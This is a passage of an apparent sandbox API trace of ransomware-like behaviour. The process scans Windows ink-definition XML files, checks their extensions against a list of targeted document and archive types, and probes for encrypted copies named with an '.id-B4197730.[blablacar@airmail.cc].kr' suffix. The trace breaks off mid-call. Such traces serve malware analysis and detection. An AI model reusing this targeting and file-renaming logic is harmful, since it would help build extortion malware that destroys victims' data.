lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.835] lstrlenW (lpString=".xls") returned 4 [0091.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.835] lstrlenW (lpString=".xlsx") returned 5 [0091.835] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0091.836] lstrlenW (lpString=".ppt") returned 4 [0091.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.836] lstrlenW (lpString=".zip") returned 4 [0091.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.836] lstrlenW (lpString=".rar") returned 4 [0091.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.836] lstrlenW (lpString=".bz2") returned 4 [0091.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.836] lstrlenW (lpString=".7z") returned 3 [0091.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.836] lstrlenW (lpString=".dbf") returned 4 [0091.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.836] lstrlenW (lpString=".1cd") returned 4 [0091.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0091.836] lstrlenW (lpString=".jpg") returned 4 [0091.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.837] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.837] lstrlenW (lpString="base_ca.xml") returned 11 [0091.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.839] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3529) returned 1 [0091.839] CloseHandle (hObject=0x328) returned 1 [0091.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0091.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.839] lstrlenW (lpString=".doc") returned 4 [0091.839] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.839] lstrlenW (lpString=".docx") returned 5 [0091.839] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0091.839] lstrlenW (lpString=".pdf") returned 4 [0091.839] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.839] lstrlenW (lpString=".xls") returned 4 [0091.839] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.839] lstrlenW (lpString=".xlsx") returned 5 [0091.839] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0091.839] lstrlenW (lpString=".ppt") returned 4 [0091.839] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.839] lstrlenW (lpString=".zip") returned 4 [0091.840] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.840] lstrlenW (lpString=".rar") returned 4 [0091.840] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString=".bz2") returned 4 [0091.840] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString=".7z") returned 3 [0091.840] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.840] lstrlenW (lpString=".dbf") returned 4 [0091.840] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.840] lstrlenW (lpString=".1cd") returned 4 [0091.840] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.840] lstrlenW (lpString=".jpg") returned 4 [0091.840] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.840] lstrlenW (lpString=".doc") returned 4 [0091.840] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString=".docx") returned 5 [0091.840] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0091.840] lstrlenW (lpString=".pdf") returned 4 [0091.840] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString=".xls") returned 4 [0091.840] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.840] lstrlenW (lpString=".xlsx") returned 5 [0091.840] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0091.841] lstrlenW (lpString=".ppt") returned 4 [0091.841] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.841] lstrlenW (lpString=".zip") returned 4 [0091.841] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.841] lstrlenW (lpString=".rar") returned 4 [0091.841] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.841] lstrlenW (lpString=".bz2") returned 4 [0091.841] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.841] lstrlenW (lpString=".7z") returned 3 [0091.841] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.841] lstrlenW (lpString=".dbf") returned 4 [0091.841] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.841] lstrlenW (lpString=".1cd") returned 4 [0091.841] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0091.841] lstrlenW (lpString=".jpg") returned 4 [0091.841] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.841] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.841] lstrlenW (lpString="base_heb.xml") returned 12 [0091.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.842] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=738) returned 1 [0091.842] CloseHandle (hObject=0x328) returned 1 [0091.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0091.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.843] lstrlenW (lpString=".doc") returned 4 [0091.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.843] lstrlenW (lpString=".docx") returned 5 [0091.843] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0091.843] lstrlenW (lpString=".pdf") returned 4 [0091.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.843] lstrlenW (lpString=".xls") returned 4 [0091.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.843] lstrlenW (lpString=".xlsx") returned 5 [0091.843] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0091.843] lstrlenW (lpString=".ppt") returned 4 [0091.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.843] lstrlenW (lpString=".zip") returned 4 [0091.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.843] lstrlenW (lpString=".rar") returned 4 [0091.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.843] lstrlenW (lpString=".bz2") returned 4 [0091.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.843] lstrlenW (lpString=".7z") returned 3 [0091.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.843] lstrlenW (lpString=".dbf") returned 4 [0091.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.844] lstrlenW (lpString=".1cd") returned 4 [0091.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.844] lstrlenW (lpString=".jpg") returned 4 [0091.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.844] lstrlenW (lpString=".doc") returned 4 [0091.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.844] lstrlenW (lpString=".docx") returned 5 [0091.844] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0091.844] lstrlenW (lpString=".pdf") returned 4 [0091.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.844] lstrlenW (lpString=".xls") returned 4 [0091.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.844] lstrlenW (lpString=".xlsx") returned 5 [0091.844] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0091.844] lstrlenW (lpString=".ppt") returned 4 [0091.844] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.844] lstrlenW (lpString=".zip") returned 4 [0091.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.844] lstrlenW (lpString=".rar") returned 4 [0091.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.845] lstrlenW (lpString=".bz2") returned 4 [0091.845] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.845] lstrlenW (lpString=".7z") returned 3 [0091.845] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.845] lstrlenW (lpString=".dbf") returned 4 [0091.845] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.845] lstrlenW (lpString=".1cd") returned 4 [0091.845] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0091.845] lstrlenW (lpString=".jpg") returned 4 [0091.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.845] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.845] lstrlenW (lpString="base_jpn.xml") returned 12 [0091.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.845] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=804) returned 1 [0091.845] CloseHandle (hObject=0x328) returned 1 [0091.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0091.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.846] lstrlenW (lpString=".doc") returned 4 [0091.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.846] lstrlenW (lpString=".docx") returned 5 [0091.846] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0091.846] lstrlenW (lpString=".pdf") returned 4 [0091.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.846] lstrlenW (lpString=".xls") returned 4 [0091.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.846] lstrlenW (lpString=".xlsx") returned 5 [0091.846] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0091.846] lstrlenW (lpString=".ppt") returned 4 [0091.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.846] lstrlenW (lpString=".zip") returned 4 [0091.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.846] lstrlenW (lpString=".rar") returned 4 [0091.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.846] lstrlenW (lpString=".bz2") returned 4 [0091.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString=".7z") returned 3 [0091.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.847] lstrlenW (lpString=".dbf") returned 4 [0091.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.847] lstrlenW (lpString=".1cd") returned 4 [0091.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.847] lstrlenW (lpString=".jpg") returned 4 [0091.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.847] lstrlenW (lpString=".doc") returned 4 [0091.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString=".docx") returned 5 [0091.847] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0091.847] lstrlenW (lpString=".pdf") returned 4 [0091.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString=".xls") returned 4 [0091.847] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString=".xlsx") returned 5 [0091.847] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0091.847] lstrlenW (lpString=".ppt") returned 4 [0091.847] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.847] lstrlenW (lpString=".zip") returned 4 [0091.847] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.847] lstrlenW (lpString=".rar") returned 4 [0091.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.848] lstrlenW (lpString=".bz2") returned 4 [0091.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.848] lstrlenW (lpString=".7z") returned 3 [0091.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.848] lstrlenW (lpString=".dbf") returned 4 [0091.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.848] lstrlenW (lpString=".1cd") returned 4 [0091.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0091.848] lstrlenW (lpString=".jpg") returned 4 [0091.848] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.848] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.848] lstrlenW (lpString="base_kor.xml") returned 12 [0091.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.848] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=488) returned 1 [0091.849] CloseHandle (hObject=0x328) returned 1 [0091.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0091.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.849] lstrlenW (lpString=".doc") returned 4 [0091.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.849] lstrlenW (lpString=".docx") returned 5 [0091.849] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0091.849] lstrlenW (lpString=".pdf") returned 4 [0091.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.849] lstrlenW (lpString=".xls") returned 4 [0091.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.849] lstrlenW (lpString=".xlsx") returned 5 [0091.849] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0091.849] lstrlenW (lpString=".ppt") returned 4 [0091.849] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.849] lstrlenW (lpString=".zip") returned 4 [0091.849] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.849] lstrlenW (lpString=".rar") returned 4 [0091.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString=".bz2") returned 4 [0091.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString=".7z") returned 3 [0091.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.850] lstrlenW (lpString=".dbf") returned 4 [0091.850] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.850] lstrlenW (lpString=".1cd") returned 4 [0091.850] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.850] lstrlenW (lpString=".jpg") returned 4 [0091.850] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.850] lstrlenW (lpString=".doc") returned 4 [0091.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString=".docx") returned 5 [0091.850] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0091.850] lstrlenW (lpString=".pdf") returned 4 [0091.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString=".xls") returned 4 [0091.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0091.850] lstrlenW (lpString=".xlsx") returned 5 [0091.850] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0091.851] lstrlenW (lpString=".ppt") returned 4 [0091.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0091.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.851] lstrlenW (lpString=".zip") returned 4 [0091.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0091.851] lstrlenW (lpString=".rar") returned 4 [0091.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0091.851] lstrlenW (lpString=".bz2") returned 4 [0091.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0091.851] lstrlenW (lpString=".7z") returned 3 [0091.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0091.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.851] lstrlenW (lpString=".dbf") returned 4 [0091.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0091.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.851] lstrlenW (lpString=".1cd") returned 4 [0091.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0091.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0091.851] lstrlenW (lpString=".jpg") returned 4 [0091.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0091.851] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0091.851] lstrlenW (lpString="base_rtl.xml") returned 12 [0091.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.852] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: 